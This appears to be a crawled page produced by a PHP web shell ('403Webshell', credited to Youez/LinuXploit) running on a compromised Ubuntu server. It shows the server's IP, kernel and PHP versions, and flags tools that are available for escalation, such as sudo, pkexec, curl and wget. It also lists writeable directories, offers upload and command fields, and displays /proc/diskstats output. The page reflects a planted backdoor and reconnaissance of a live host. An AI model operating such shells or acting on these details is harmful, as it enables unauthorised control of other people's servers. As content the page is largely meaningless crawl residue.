403Webshell
Server IP : 137.184.226.51  /  Your IP : 10.8.0.1
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc//diskstats
   7       0 loop0 2303 0 516748 293 0 0 0 0 0 8564 0 0 0 0 0
   7       1 loop1 29123 0 570388 10444 0 0 0 0 0 13620 476 0 0 0 0
   7       2 loop2 2342 0 516832 293 0 0 0 0 0 8624 0 0 0 0 0
   7       3 loop3 22211 0 556564 10546 0 0 0 0 0 12708 2136 0 0 0 0
   7       4 loop4 89875 0 693340 18052 0 0 0 0 0 18132 2080 0 0 0 0
   7       5 loop5 86554 0 686698 39236 0 0 0 0 0 17684 18520 0 0 0 0
   7       6 loop6 57292 0 626726 56556 0 0 0 0 0 14812 21508 0 0 0 0
   7       7 loop7 2077 0 516302 247 0 0 0 0 0 8376 4 0 0 0 0
 202      16 xvdb 516598 95605 27518802 599761 144484 249302 4306848 924090 0 981868 712196 0 0 0 0
 202      17 xvdb1 13171 0 105368 4683 0 0 0 0 0 9412 188 0 0 0 0
 202      18 xvdb2 497250 95605 26893282 580494 143360 249302 4306848 923465 0 972060 708844 0 0 0 0
  11       0 sr0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       8 loop8 4 0 8 0 0 0 0 0 0 8 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit